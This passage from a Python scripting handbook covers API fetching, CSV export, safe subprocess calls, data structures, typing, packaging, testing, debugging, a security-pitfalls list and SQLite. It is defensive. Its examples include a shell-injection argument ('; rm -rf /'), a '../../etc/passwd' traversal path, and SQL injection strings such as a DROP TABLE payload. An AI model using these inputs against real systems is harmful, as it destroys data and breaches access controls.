        # Log the URL, never the headers.
        logger.debug("GET %s", args.url)
        response = requests.get(args.url, headers=headers, timeout=TIMEOUT)
        response.raise_for_status()
        payload = response.json()
    except requests.Timeout:
        logger.error("timed out after %ss", TIMEOUT[1])
        return 1
    except requests.HTTPError as exc:
        logger.error("HTTP %s from %s", exc.response.status_code, exc.response.url)
        logger.debug("body: %s", exc.response.text[:500])
        return 1
    except requests.RequestException as exc:
        logger.error("request failed: %s", exc)
        return 1
    except ValueError:
        logger.error("response was not JSON (content-type: %s)",
                     response.headers.get("content-type", "?"))
        return 1

    atomic_write_text(
        args.output,
        json.dumps(payload, indent=2, sort_keys=True, ensure_ascii=False),
    )
    logger.info("wrote %s", args.output)
    return 0
```

```
if __name__ == "__main__":
    raise SystemExit(main())
```

Run: `API_TOKEN=xxx python3 fetch.py https://api.example.com/v1/items -o items.json`

Footguns: `API_TOKEN=xxx cmd` prefixed on the command line lands in your shell history and is visible in `ps` output to every user on the box for the lifetime of the process. For anything real, source it from a `0600` file or a keychain. Note that `requests` exceptions are caught **specifically**, and `raise_for_status` is what turns a 500 into an exception rather than a file full of HTML.

13.6 JSON to CSV

json2csv.py

```
#!/usr/bin/env python3
"""Flatten a JSON array of objects into CSV."""

import argparse
import csv
import json
import sys
from pathlib import Path

FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")


def csv_safe(value: object) -> str:
    """Neutralize spreadsheet formula injection."""
    text = "" if value is None else str(value)
    return "'" + text if text[:1] in FORMULA_PREFIXES else text


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("input", type=Path)
    parser.add_argument("-o", "--output", type=Path, required=True)
    args = parser.parse_args()

    try:
        data = json.loads(args.input.read_text(encoding="utf-8"))
    except json.JSONDecodeError as exc:
        print(f"{args.input}: line {exc.lineno}: {exc.msg}", file=sys.stderr)
        return 1

    if not isinstance(data, list) or not data:
        print("expected a non-empty JSON array of objects", file=sys.stderr)
        return 1
    if not all(isinstance(row, dict) for row in data):
        print("every element must be an object", file=sys.stderr)
        return 1

    # Union of all keys, first-seen order. Rows may be ragged.
    fields: list[str] = []
    for row in data:
```

```
        for key in row:
            if key not in fields:
                fields.append(key)

    with args.output.open("w", encoding="utf-8", newline="") as fh:
        writer = csv.DictWriter(fh, fieldnames=fields, restval="")
        writer.writeheader()
        for row in data:
            writer.writerow({k: csv_safe(v) for k, v in row.items()})

    print(f"wrote {len(data)} rows x {len(fields)} cols -> {args.output}",
          file=sys.stderr)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Run: `python3 json2csv.py items.json -o items.csv`

Footguns: Nested values (a dict or list inside a field) get stringified as Python `repr`, which is ugly and lossy. Flatten deliberately, or use `jq` upstream. `restval=""` is what prevents a `ValueError` on a row missing a key that another row has.

13.7 Run an external command safely

rgwrap.py

```
#!/usr/bin/env python3
"""Wrap ripgrep. Demonstrates safe argv construction and exit-code handling."""

import argparse
import shutil
import subprocess
import sys
from pathlib import Path


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("pattern")
    parser.add_argument("directory", type=Path, nargs="?", default=Path.cwd())
    parser.add_argument("--ext", help="Restrict to one extension, e.g. py")
    args = parser.parse_args()

    rg = shutil.which("rg")
    if rg is None:
        print("ripgrep not found (brew install ripgrep)", file=sys.stderr)
        return 127                                  # POSIX: command not found

    # Build argv as a LIST. Nothing is ever concatenated into a shell string.
    cmd = [rg, "--no-heading", "--line-number", "--color", "never"]
    if args.ext:
        cmd += ["--type-add", f"custom:*.{args.ext}", "--type", "custom"]
    cmd += ["--", args.pattern, str(args.directory)]
    #        ^^ end-of-options: a pattern like "-v" is a PATTERN, not a flag.
```

```
    try:
        result = subprocess.run(cmd, text=True, capture_output=True, timeout=120)
    except subprocess.TimeoutExpired:
        print("rg timed out", file=sys.stderr)
        return 124                                  # POSIX-ish: timeout

    if result.returncode == 2:                      # rg's own "real error"
        print(result.stderr.strip(), file=sys.stderr)
        return 1

    sys.stdout.write(result.stdout)
    return result.returncode                        # 0 = matches, 1 = none


if __name__ == "__main__":
    raise SystemExit(main())
```

Run: `python3 rgwrap.py 'TODO' ~/src --ext py`

Footguns: `args.pattern` is fully attacker-controlled and it does not matter — it lands in `argv[n]`, not in a shell. Try it: `python3 rgwrap.py '; rm -rf /' .` searches for the literal string. That is the entire lesson of §12. The `capture_output` + explicit `returncode` handling exists because `rg` uses exit 1 for “no matches,” which `check=True` would incorrectly treat as a failure.

014 Data structures that matter

14.1 Choosing

Need	Use	Lookup	Why
Ordered sequence	`list`	O(n) `in`	The default. Mutable, indexable.
Fixed record	`tuple`	O(n) `in`	Immutable → hashable → usable as a dict key.
Key → value	`dict`	O(1)	Insertion-ordered. The workhorse.
Uniqueness / membership	`set`	O(1)	Dedup, and fast `in`. Unordered.
Counting	`Counter`	O(1)	A `dict` subclass with `.most_common()`.
Grouping	`defaultdict(list)`	O(1)	No `if key not in d` dance.
Typed record	`@dataclass`	—	Attribute access, `__repr__`, `__eq__` for free.
Queue / deque	`collections.deque`	—	O(1) `appendleft` / `popleft`. `list.pop(0)` is O(n).

FOOTGUN
`if x in my_list` is O(n). Inside a loop over n items, that's O(n²) — fine at 100 items, a 40-minute hang at 100,000. If you are doing repeated membership tests, build a `set` once: `known = set(my_list)` then `if x in known`.

14.2 Comprehensions

```
paths = [p for p in root.iterdir() if p.is_file()]
sizes = {p.name: p.stat().st_size for p in paths}
exts  = {p.suffix.lower() for p in paths}              # set: automatic dedup

# Generator — lazy. Parentheses, not brackets. Nothing is materialized.
total = sum(p.stat().st_size for p in root.rglob("*") if p.is_file())
```

A comprehension should fit on one line and read like a sentence. Two nested `for` clauses plus a condition is where you stop and write a loop. Nobody is impressed.

14.3 Counting and grouping

```
from collections import Counter, defaultdict
from pathlib import Path

counts = Counter(p.suffix.lower() for p in Path.home().rglob("*") if p.is_file())
for ext, n in counts.most_common(10):
    print(f"{n:>6}  {ext or '<none>'}")
```

```
from collections import defaultdict

by_status: defaultdict[int, list[dict]] = defaultdict(list)
for item in api_results:
    by_status[item["status"]].append(item)

# Standard-library alternative, no import needed:
```

```
for item in api_results:
    by_status.setdefault(item["status"], []).append(item)
```

WARNING
A `defaultdict` **creates** the key on read. `by_status[999]` inside an `if` check inserts an empty list as a side effect. Use `.get(999)` when you only mean to look.

14.4 Sorting

```
from operator import itemgetter, attrgetter

records.sort(key=itemgetter("timestamp"))                    # by dict key
records.sort(key=itemgetter("status", "timestamp"))          # multi-key
paths = sorted(paths, key=lambda p: p.stat().st_mtime, reverse=True)
objs = sorted(objs, key=attrgetter("created_at"))

# Stable sort: sort by the LEAST significant key first, then the most significant.
records.sort(key=itemgetter("name"))
records.sort(key=itemgetter("priority"), reverse=True)
```

Python's sort is stable (Timsort), which is what makes that two-pass idiom work.

FOOTGUN
`sorted(paths)` on `Path` objects sorts lexicographically, so `file10.log` sorts before `file2.log`. For natural ordering, key on a tuple that splits out the number.

14.5 Dataclasses

```
from dataclasses import dataclass, field
from pathlib import Path


@dataclass(frozen=True)
class ScanConfig:
    root: Path
    extension: str
    recursive: bool = True
    # Mutable defaults MUST use field(default_factory=...). A bare `= []`
    # here raises ValueError at class-definition time — the language
    # deliberately stops you from making the mutable-default bug.
    exclude: tuple[str, ...] = ()
    tags: list[str] = field(default_factory=list)


cfg = ScanConfig(root=Path.home() / "src", extension=".py")
print(cfg)                      # ScanConfig(root=..., extension='.py', ...)
```

Decorator arg	Effect
`frozen=True`	Immutable + hashable. Assignment raises `FrozenInstanceError`. Use for config.
`slots=True`	3.10+. Faster attribute access, lower memory, no `__dict__`.
`kw_only=True`	3.10+. All fields become keyword-only at construction. Great for wide records.
`order=True`	Generates `__lt__` etc. from field order — makes instances sortable.

14.6 Nested data

```
# Deep access without a KeyError cascade.
region = payload.get("data", {}).get("user", {}).get("region", "unknown")
```

Fine for two levels. Past that, parse the payload into a `dataclass` (or a `pydantic` model) at the boundary and work with attributes. Digging through raw nested dicts throughout your codebase is how a schema change becomes a `KeyError` in production instead of a validation error at the door.

015 Type hints, without the religion

Type hints are not enforced at runtime. `def f(x: int)` will happily accept a string and blow up three frames later. What they buy you:

- your editor autocompletes and catches the typo before you save
- `mypy` / `pyright` catch the `None` you forgot to handle, statically
- the signature documents itself and cannot drift out of date the way a docstring does

That's the whole value proposition. Annotate the **boundaries** — function signatures, dataclass fields, module constants. Don't annotate every local variable.

15.1 Syntax

Annotation	Meaning
`x: int`, `s: str`, `p: Path`	Concrete types.
`items: list[str]`	3.9+. No `typing.List` needed.
`d: dict[str, int]`	Key type, value type.
`pair: tuple[int, str]`	Fixed length and position. `tuple[int, ...]` is variable-length.
`name: str | None`	3.10+. Same as `Optional[str]`. Prefer the pipe.
`value: int | str`	Union.
`def f() -> None:`	Returns nothing.
`def f() -> "Node":`	Forward reference to a not-yet-defined class. Quotes required.
`items: Iterable[str]`	From `collections.abc`. Accept the **widest** type you can use.
`fn: Callable[[int, str], bool]`	Args list, return type.
`Any`	Escape hatch. Every `Any` is a hole in your type coverage.
`Final`	`MAX: Final = 100`. Reassignment is a type error.

DO THIS

Be liberal in what you accept, conservative in what you return. Annotate a parameter as `Iterable[str]` (accepts list, tuple, generator, set) but a return as `list[str]` (concrete, indexable, re-iterable). `Sequence[str]` is the read-only middle ground.

15.2 A typed module

```
from collections.abc import Iterable, Iterator
from dataclasses import dataclass
from pathlib import Path


@dataclass(frozen=True, slots=True)
class FileRecord:
    path: Path
    size: int
    digest: str | None = None
```

```
def iter_files(root: Path, extensions: Iterable[str]) -> Iterator[Path]:
    """Yield files under `root` matching any of `extensions` (with dots)."""
    wanted = {e.lower() for e in extensions}
    for path in root.rglob("*"):
        if path.is_file() and path.suffix.lower() in wanted:
            yield path


def summarize(paths: Iterable[Path]) -> list[FileRecord]:
    return [FileRecord(path=p, size=p.stat().st_size) for p in paths]


def largest(records: list[FileRecord]) -> FileRecord | None:
    """None when there is nothing to compare."""
    return max(records, key=lambda r: r.size, default=None)
```

`largest` returns `FileRecord | None`. `mypy` will now **force** every caller to handle the empty case — which is the entire point, because that's the branch you were going to forget.

15.3 Common mistakes

```
# WRONG — a mutable default, and the annotation doesn't save you.
def add(item: str, into: list[str] = []) -> list[str]: ...

# RIGHT
def add(item: str, into: list[str] | None = None) -> list[str]:
    if into is None:
        into = []
    ...

# WRONG — `dict` alone says nothing useful.
def load(path: Path) -> dict: ...

# BETTER — for a known shape:
from typing import TypedDict

class Config(TypedDict):
    api_url: str
    timeout: float

def load(path: Path) -> Config: ...
```

15.4 Checking

```
python -m pip install mypy
mypy --strict src/
```

`--strict` on a fresh project is pleasant. `--strict` on 10,000 existing lines is a bad afternoon. Start without it, add `disallow_untyped_defs` per-module in `pyproject.toml`, and tighten as you go.

016 Packaging basics

Don't package a single script. `chmod +x`, a shebang, and a symlink into `~/bin` is a complete and correct solution for one file. Package when: you have more than one module, you want `pip install -e .`, you need an entry point on `PATH`, or someone else needs to install it.

16.1 Layout

```
my-tool/
  pyproject.toml
  README.md
  .gitignore
  src/
    my_tool/
      __init__.py
      cli.py
      core.py
  tests/
    test_core.py
```

The `src/` layout is not decoration. Without it, `import my_tool` from the project root picks up the **source directory**, not the installed package — so your tests pass against code that was never actually installed, and you don't discover the missing file in `MANIFEST` until a user does. With `src/`, the only way to import is to install.

16.2 `pyproject.toml`

```
[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"

[project]
name = "my-tool"
version = "0.1.0"
description = "Scan directories and report on files."
readme = "README.md"
requires-python = ">=3.11"
dependencies = [
    "requests>=2.31",
]

[project.optional-dependencies]
dev = [
    "pytest>=8.0",
    "ruff>=0.5",
    "mypy>=1.10",
]

[project.scripts]
my-tool = "my_tool.cli:main"      # creates a `my-tool` executable on PATH

[tool.ruff]
line-length = 100
target-version = "py311"

[tool.ruff.lint]
select = ["E", "F", "I", "B", "UP", "S"]   # S = flake8-bandit security lints
```

```
[tool.pytest.ini_options]
testpaths = ["tests"]
```

`[project.scripts]` is the payoff: `my-tool = "my_tool.cli:main"` generates a console script that imports `my_tool.cli` and calls `main()`. The return value becomes the exit code — which is exactly why `main()` returns an `int`.

16.3 Editable install

```
python3 -m venv .venv
source .venv/bin/activate
python -m pip install -e ".[dev]"      # editable + dev extras
my-tool --help                          # your entry point, live on PATH
```

Editable means the install points at your source tree. Edit `core.py`, rerun `my-tool`, see the change. No reinstall.

16.4 Imports

Form	When
`import json`	Standard. Namespaced, unambiguous.
`from pathlib import Path`	Fine for a small number of well-known names.
`from .core import scan`	Relative. Only works **inside** a package. Clear about locality.
`from my_tool.core import scan`	Absolute. Works everywhere. Prefer this.
`from x import *`	Never. It shadows names silently and defeats every linter.

FOOTGUN

Circular imports. `a.py` imports `b`, `b.py` imports `a` → `ImportError: cannot import name` or a half-initialized module.

It is a design smell, not a Python quirk: the two modules have a shared concept that wants to live in a third module. Move it there.

The band-aid (importing inside the function body, deferring it to call time) works and is occasionally correct — for a genuinely optional heavy dependency. As a fix for circularity it is a confession.

FOOTGUN

Shadowing the stdlib. Name a file `json.py`, `types.py`, `random.py`, or `email.py` in your project root and `import json` now finds **your** file. The error messages this produces are surreal. Check with `python3 -c "import json; print(json.__file__)"`.

017 Testing

Tests exist so you can change the code. A script you will never touch again does not need tests. A script that runs on a schedule and deletes things needs tests.

17.1 `pytest`

```
python -m pip install pytest
pytest                    # discovers test_*.py, runs test_* functions
pytest -q                 # quiet
pytest -x                 # stop at first failure
pytest -k "hash"          # only tests matching this substring
pytest --lf               # re-run last failures only
pytest -vv                # full diffs on assertion failure
```

Plain `assert` — no `assertEqual`, no boilerplate. `pytest` rewrites the AST to give you a full diff on failure.

17.2 Testing pure functions

```
# tests/test_core.py
import pytest

from my_tool.core import human, safe_filename


def test_human_readable_sizes():
    assert human(0) == "0 B"
    assert human(1023) == "1,023 B"
    assert human(1024) == "1.0 KiB"
    assert human(1024 ** 3) == "1.0 GiB"


@pytest.mark.parametrize(
    ("raw", "expected"),
    [
        ("Q3 Résumé.pdf", "Q3-Resume.pdf"),
        ("../../etc/passwd", "etc-passwd"),
        ("", "untitled"),
        ("...", "untitled"),
    ],
)
def test_safe_filename(raw, expected):
    assert safe_filename(raw) == expected
```

`parametrize` turns one function into N independent test cases, each reported separately. This is where you put your edge cases — and note that `"../../etc/passwd"` is a **security** test, not a formatting one.

17.3 Testing file operations

```
from pathlib import Path

from my_tool.core import atomic_write_text, extension_census


def test_atomic_write_creates_parents(tmp_path: Path):
    target = tmp_path / "deep" / "nested" / "out.txt"
```

```
    atomic_write_text(target, "hello")
    assert target.read_text(encoding="utf-8") == "hello"


def test_atomic_write_leaves_no_temp_files(tmp_path: Path):
    target = tmp_path / "out.txt"
    atomic_write_text(target, "hello")
    assert [p.name for p in tmp_path.iterdir()] == ["out.txt"]


def test_extension_census(tmp_path: Path):
    (tmp_path / "a.py").touch()
    (tmp_path / "b.py").touch()
    (tmp_path / "c.md").touch()
    (tmp_path / "sub").mkdir()
    (tmp_path / "sub" / "d.py").touch()

    counts = extension_census(tmp_path)
    assert counts[".py"] == 3
    assert counts[".md"] == 1
```

`tmp_path` is a built-in `pytest` fixture: a fresh, real, empty `Path` per test, cleaned up automatically. Use it. Never write tests against `~/Downloads` or `/tmp/test` — they'll pass on your machine, fail in CI, and one day delete something real.

17.4 Expected errors

```
import pytest

from my_tool.core import ConfigError, load_config, safe_rmtree


def test_missing_config_raises(tmp_path):
    with pytest.raises(ConfigError, match="no config at"):
        load_config(tmp_path / "nope.json")


def test_rmtree_refuses_to_escape_root(tmp_path):
    inside = tmp_path / "work"
    inside.mkdir()
    with pytest.raises(ValueError, match="escapes"):
        safe_rmtree(tmp_path / ".." / "elsewhere", must_be_under=inside, dry_run=False)
```

The second test is the one that matters. Any guard you wrote in §6 or §19 is worthless until a test proves it actually refuses.

17.5 Mocking an API

```
from unittest.mock import Mock, patch

import pytest
import requests

from my_tool.core import get_json


@patch("my_tool.core.requests.Session.get")
def test_get_json_parses_payload(mock_get):
    mock_get.return_value = Mock(
        status_code=200,
```

```
        json=Mock(return_value={"items": [{"id": 1}]}),
        raise_for_status=Mock(),
    )
    session = requests.Session()
    assert get_json(session, "https://api.test/x") == {"items": [{"id": 1}]}


@patch("my_tool.core.requests.Session.get")
def test_get_json_reports_401(mock_get):
    mock_get.return_value = Mock(status_code=401)
    with pytest.raises(RuntimeError, match="401"):
        get_json(requests.Session(), "https://api.test/x")
```

WARNING

Patch where the name is **looked up**, not where it's defined. If `my_tool.core` does `import requests`, you patch `my_tool.core.requests.Session.get`. If it does `from requests import get`, you patch `my_tool.core.get`.

Getting this wrong produces a test that passes while patching nothing — the classic false-green.

For anything beyond a couple of calls, `responses` or `respx` are cleaner than hand-built `Mock` objects.

17.6 Testing the CLI

```
def test_cli_rejects_missing_directory(tmp_path, capsys):
    from my_tool.cli import main

    assert main([str(tmp_path / "nope")]) == 2
    assert "not a directory" in capsys.readouterr().err
```

This is why `main(argv)` takes an argument. No subprocess, no `sys.argv` monkeypatching, runs in a millisecond.

17.7 What to test first

Priority	Test
1	Anything that **deletes, overwrites, or moves**. The guard clauses especially.
2	Anything that parses untrusted input — config, API responses, filenames.
3	Pure functions with edge cases — empty input, one element, unicode, `None`.
4	Regression tests. Every bug you fix gets a test that fails without the fix.
never	Getters. Constants. Whether `print` printed.

018 Debugging and inspection

18.1 Reading a traceback

```
Traceback (most recent call last):
  File "/Users/you/src/mytool/cli.py", line 42, in main
    records = summarize(iter_files(root, args.extensions))
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/you/src/mytool/core.py", line 88, in summarize
    return [FileRecord(path=p, size=p.stat().st_size) for p in paths]
                                ^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/Users/you/tmp/gone.log'
```

Read	For
The last line	The actual error: type and message. Start here.
The second-to-last frame	Where it blew up — file, line number, the exact expression (carets, 3.11+).
The frames above	The call path that got you there. Read **upward** to find the caller that passed the bad value.
`During handling of the above exception, another exception occurred`	Your `except` block itself has a bug.
`The above exception was the direct cause`	Someone used `raise ... from exc`. Both halves are relevant.

The stack is printed oldest-call-first, deepest-frame-last. The bottom is where it broke; the top is where it started.

18.2 Tools

Tool	Use
`print(f"{value=}")`	Prints `value=<repr>`. Fastest thing in the language. Not shameful.
`breakpoint()`	3.7+. Drops into `pdb` at that line. Honours `$PYTHONBREAKPOINT` (set it to `0` to disable all of them, or to `ipdb.set_trace`).
`python3 -m pdb script.py`	Debug from the first line.
`repr(x)`	The unambiguous form. `str("1")` and `str(1)` are identical; their `repr`s are not.
`type(x)`	What is this actually.
`dir(x)`	Every attribute. Noisy but comprehensive.
`vars(x)` / `x.__dict__`	Instance attributes only.
`help(x)`	Docstring + signature.
`inspect.signature(fn)`	The callable's parameters, programmatically.
`python3 -m py_compile f.py`	Syntax check only. No execution. Good pre-commit gate.

`python3 -i script.py`	Run, then drop into a REPL **with the script's namespace intact**. Excellent.
`python3 -X importtime script.py`	Where startup time is going.
`python3 -W error script.py`	Turn every warning into an exception. Finds deprecations.

18.3 pdb

Command	Action
`n`	Next line (step over)
`s`	Step into
`c`	Continue to next breakpoint or end
`l`	List source around the current line
`w`	Where — print the stack
`u` / `d`	Move up / down a stack frame
`p expr` / `pp expr`	Print / pretty-print
`a`	Print the current function's arguments
`interact`	Full REPL in the current frame. The good one.
`q`	Quit

Any name that isn't a `pdb` command is evaluated as Python. `p` is only needed when the expression collides with a command (`p list`, `n = 5`).

18.4 The errors you'll actually see

Message	Cause
`IndentationError: unexpected indent`	Stray leading whitespace.
`TabError: inconsistent use of tabs and spaces`	Exactly what it says. Configure your editor to expand tabs.
`SyntaxError: invalid syntax` pointing at a **correct** line	The real error is on the line **above** — an unclosed bracket, paren, or quote.
`NameError: name 'x' is not defined`	Typo, or used before assignment, or defined inside a different scope.
`UnboundLocalError`	You assigned to a name inside a function, which makes it local **everywhere in that function** — including on the line before the assignment where you read the global.
`AttributeError: 'NoneType' object has no attribute 'x'`	A function returned `None` and you didn't check. `.sort()`, `.append()`, and `re.search()` all return `None` sometimes.
`TypeError: 'NoneType' object is not iterable`	Same disease.
`RecursionError`	Runaway recursion, or a `__repr__` that references itself.

019 Security footguns

Everything here is a real vulnerability class, not hypothetical hygiene.

19.1 The list

Footgun	Instead
Hardcoded secret	`os.environ["TOKEN"]`, a `0600` file, or the OS keychain.
`eval()` / `exec()` on any input you didn't write	`ast.literal_eval()` for literals; `json.loads()` for data. There is no safe sandbox for `eval` — every "restricted globals" trick has been broken.
`pickle.load()` on untrusted bytes	Pickle is **arbitrary code execution by design** — the format includes opcodes that call constructors. A malicious `.pkl` is a shell. Use `json`, or `hmac`-sign the pickle if it must round-trip through untrusted storage.
`yaml.load(s)`	`yaml.safe_load(s)`. Bare `load` can instantiate arbitrary Python objects. (Modern PyYAML defaults to safe and warns, but the old form is everywhere in copy-pasted code.)
`shell=True` with interpolation	Argument **list**, `shell=False`. §12.
`verify=False`	Fix the trust store. §11.
Path from user input used directly	`.resolve()` then `.is_relative_to(allowed_root)`. §6.
`str.startswith()` as a containment check	`Path.is_relative_to()`. `/data/safe-evil`.startswith(`/data/safe`) is `True`.
`os.system()`	Deprecated in spirit. It is `shell=True` with no escape hatch and no return value worth reading.
`tempfile.mktemp()`	`NamedTemporaryFile` / `mkstemp()`. `mktemp` returns a **name**, then you open it — the gap between those two is a symlink race (TOCTOU).
`assert` for validation	`assert` is removed entirely by `python -O`. Your security check silently vanishes. Use `if not x: raise`.
`random` for tokens	`secrets.token_urlsafe(32)`. The Mersenne Twister is predictable from 624 outputs.
`hashlib.md5` / `sha1` for integrity	`sha256`. For **passwords**: `argon2`, `bcrypt`, or `hashlib.scrypt` — never a plain hash, salted or not.
`==` for comparing secrets	`hmac.compare_digest(a, b)`. `==` short-circuits on the first differing byte → timing side channel.
Unpinned dependencies	Pin in CI (`requirements.txt` with `==` and hashes). A supply-chain compromise of a transitive dep arrives on your next `pip install`.

19.2 Safe path handling

```
from pathlib import Path


class PathError(ValueError):
    """A supplied path is not acceptable."""


def resolve_within(candidate: str | Path, root: Path) -> Path:
    """Resolve `candidate` and prove it stays inside `root`. Raises otherwise."""
    root = root.expanduser().resolve(strict=True)
    # .resolve() collapses `..` AND follows symlinks. Both matter:
    # a symlink inside root pointing at /etc is an escape too.
    path = (root / candidate).expanduser().resolve()

    if not path.is_relative_to(root):        # 3.9+
        raise PathError(f"path escapes {root}: {candidate!r}")

    return path


# resolve_within("../../etc/passwd", Path("/srv/data"))  -> PathError
# resolve_within("reports/q3.json",  Path("/srv/data"))  -> /srv/data/reports/q3.json
```

Resolve **first**, compare **second**. Doing the containment check on the unresolved string is the bug — `/srv/data/../../etc/passwd` starts with `/srv/data`.

> **WARNING**
> Even this has a TOCTOU window: an attacker who can create symlinks in `root` between your `resolve()` and your `open()` can still redirect you. On Linux, `os.open` with `O_NOFOLLOW` (and `openat`-relative APIs) closes it. For most scripts this is over-engineering — but if you're processing paths from an untrusted uploader on a shared box, it isn't.

19.3 Secrets

```
import os
import secrets
import hmac


def require_token(name: str = "API_TOKEN") -> str:
    token = os.environ.get(name)
    if not token:
        raise RuntimeError(f"{name} is not set")
    return token


api_key = secrets.token_urlsafe(32)              # cryptographically random
csrf = secrets.token_hex(16)

# Constant-time comparison. Never `provided == expected` for a secret.
if hmac.compare_digest(provided.encode(), expected.encode()):
    ...
```

19.4 Restrictive file creation

```
import os
from pathlib import Path
```

```
def write_secret(path: Path, content: str) -> None:
    """Create with 0600 atomically — no window where the file is world-readable."""
    path.parent.mkdir(parents=True, exist_ok=True)
    # O_EXCL: fail if it already exists (defeats a symlink-pointing-at-/etc/passwd attack).
    # mode=0o600 is applied AT CREATION, so there is no touch-then-chmod race.
    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
    with os.fdopen(fd, "w", encoding="utf-8") as fh:
        fh.write(content)
```

19.5 Dependencies

```
python -m pip install pip-audit
pip-audit                          # checks installed packages against advisory DBs

python -m pip install --require-hashes -r requirements.txt   # if hashes are pinned
```

Typosquatting is real and constant: `reqeusts`, `python-dateutil` vs `dateutil`, `urllib3` vs `urllib`. Read the name you typed. Check the download count and the repo before adding anything you haven't heard of.

020 Performance, without premature optimization

Measure first. The bottleneck is essentially never where you think it is, and “it feels slow” is not a measurement.

```
python3 -m cProfile -s cumtime script.py 2>&1 | head -30
```

```
import time

start = time.perf_counter()          # monotonic. NOT time.time().
do_work()
print(f"{time.perf_counter() - start:.3f}s")
```

`time.time()` is wall-clock and can jump backwards (NTP, DST). `perf_counter` is monotonic and is what you want for durations.

20.1 The three that actually matter

Fix	Impact
Wrong data structure	`x in list` → `x in set`. Turns O(n²) into O(n). Frequently a 1000× win, and it’s a one-line change.
Repeated I/O	Reading a file inside a loop, or `.stat()`ing the same path five times. Read once, cache the result.
Loading what you don’t need	`read_text()` on a 4 GB log, then `.splitlines()`. Iterate the file handle instead.

Everything else — micro-optimizing loops, swapping list comprehensions for `map`, caching attribute lookups — is noise until profiling says otherwise.

20.2 Streaming

```
from pathlib import Path


def count_matching(path: Path, needle: str) -> int:
    """Constant memory regardless of file size."""
    total = 0
    with path.open("r", encoding="utf-8", errors="surrogateescape") as fh:
        for line in fh:                 # the file object IS an iterator
            if needle in line:
                total += 1
    return total
```

```
# Loads the entire file into RAM. Dies on anything large.
lines = path.read_text().splitlines()

# Lazy. Never holds more than one line.
with path.open() as fh:
    for line in fh:
        ...
```

20.3 Generators

```
from collections.abc import Iterator
from pathlib import Path


def iter_records(path: Path) -> Iterator[dict]:
    """Yield one parsed record at a time. Composable, lazy, constant memory."""
    import json
    with path.open("r", encoding="utf-8") as fh:
        for line in fh:                      # JSONL
            line = line.strip()
            if line:
                yield json.loads(line)


# Chains lazily. Nothing is materialized until sum() pulls.
errors = (r for r in iter_records(path) if r["level"] == "ERROR")
total = sum(1 for _ in errors)
```

FOOTGUN
A generator is exhausted after one pass. `list(gen)` then `sum(gen)` gives you the list and then zero. If you need two passes, materialize once: `records = list(iter_records(p))`.

20.4 `functools.cache`

```
from functools import cache


@cache
def expensive_lookup(key: str) -> dict:
    return fetch_from_api(key)
```

Free memoization for pure functions with hashable arguments. The cache is unbounded — `@lru_cache(maxsize=1024)` if the key space is large. Do not cache a function that returns a mutable object the caller might modify; every caller gets the **same** object.

20.5 When to stop using Python

Task	Reach for
Grepping millions of lines	`rg` via `subprocess` — it's parallel, SIMD, and mmap'd. 50–100× faster.
Transforming large JSON	`jq`.
Joins, aggregations, sorts over a large dataset	`sqlite3` — load it in, let it index, query it. Beats a hand-rolled dict of dicts and doesn't OOM.
Numeric arrays	`numpy` — one vectorized operation instead of a Python loop.
Tabular analytics	`pandas` or `polars`.
CPU-bound parallel work	`multiprocessing` / `concurrent.futures.ProcessPoolExecutor`. The GIL means threads will not help you here.
I/O-bound parallel work	`ThreadPoolExecutor` or `asyncio`. Threads **do** help here — the GIL is released during I/O.

Writing Python that orchestrates fast tools is not a defeat. It is the correct design.

021 SQLite

Zero configuration, one file, ACID, in the standard library, and it will comfortably handle a few million rows. For a script that needs to remember things between runs, it is almost always the right answer — and it is always a better answer than a hand-rolled JSON file you rewrite on every change.

```
import sqlite3

with sqlite3.connect("example.db") as conn:
    conn.execute(
        "CREATE TABLE IF NOT EXISTS notes ("
        "  id INTEGER PRIMARY KEY,"
        "  body TEXT NOT NULL"
        ")"
    )
    conn.execute("INSERT INTO notes (body) VALUES (?)", ("hello",))
    rows = conn.execute("SELECT id, body FROM notes").fetchall()

print(rows)          # [(1, 'hello')]
```

21.1 Parameterize. Always.

NEVER

```
conn.execute(f"SELECT * FROM notes WHERE body = '{user_input}'")   # SQL injection
```

`user_input = "' OR 1=1 --"` returns every row. `"'; DROP TABLE notes; --"` does what it says. This is the oldest vulnerability in the book and it is still the most common.

DO THIS

```
conn.execute("SELECT * FROM notes WHERE body = ?", (user_input,))
```

The `?` is a **bind parameter**. The value is passed to SQLite out-of-band and is never parsed as SQL. It cannot become a query no matter what it contains.

Note the trailing comma: `(user_input,)` is a 1-tuple. `(user_input)` is just a string, and SQLite will iterate its characters. Named style avoids the trap:

```
conn.execute("SELECT * FROM notes WHERE body = :body", {"body": user_input})
```

Bind parameters work for **values**, not for identifiers. You cannot `?` a table name or a column name. If those are dynamic, validate against an allowlist:

```
ALLOWED_SORT = {"id", "created_at", "body"}

if sort_key not in ALLOWED_SORT:
    raise ValueError(f"bad sort key: {sort_key!r}")

conn.execute(f"SELECT id, body FROM notes ORDER BY {sort_key}")   # safe: allowlisted
```

21.2 A usable wrapper

```
import sqlite3
from collections.abc import Iterator
from contextlib import contextmanager
from pathlib import Path


@contextmanager
def open_db(path: Path) -> Iterator[sqlite3.Connection]:
    path.parent.mkdir(parents=True, exist_ok=True)
    conn = sqlite3.connect(path, timeout=10)      # timeout: wait on a locked db
    try:
        conn.row_factory = sqlite3.Row            # rows behave like dicts
        conn.execute("PRAGMA foreign_keys = ON")  # OFF by default. Turn it on.
        conn.execute("PRAGMA journal_mode = WAL") # concurrent readers + one writer
        yield conn
        conn.commit()
    except Exception:
        conn.rollback()
        raise
    finally:
        conn.close()                              # `with conn:` does NOT close it


with open_db(Path("data/notes.db")) as conn:
    conn.execute(
        "CREATE TABLE IF NOT EXISTS notes ("
        "  id INTEGER PRIMARY KEY,"
        "  body TEXT NOT NULL,"
        "  created_at TEXT NOT NULL DEFAULT (datetime('now'))"
        ")"
    )
    conn.execute("INSERT INTO notes (body) VALUES (:body)", {"body": "hello"})

    for row in conn.execute("SELECT id, body, created_at FROM notes ORDER BY id"):
        print(row["id"], row["body"])             # named access via Row
```

WARNING

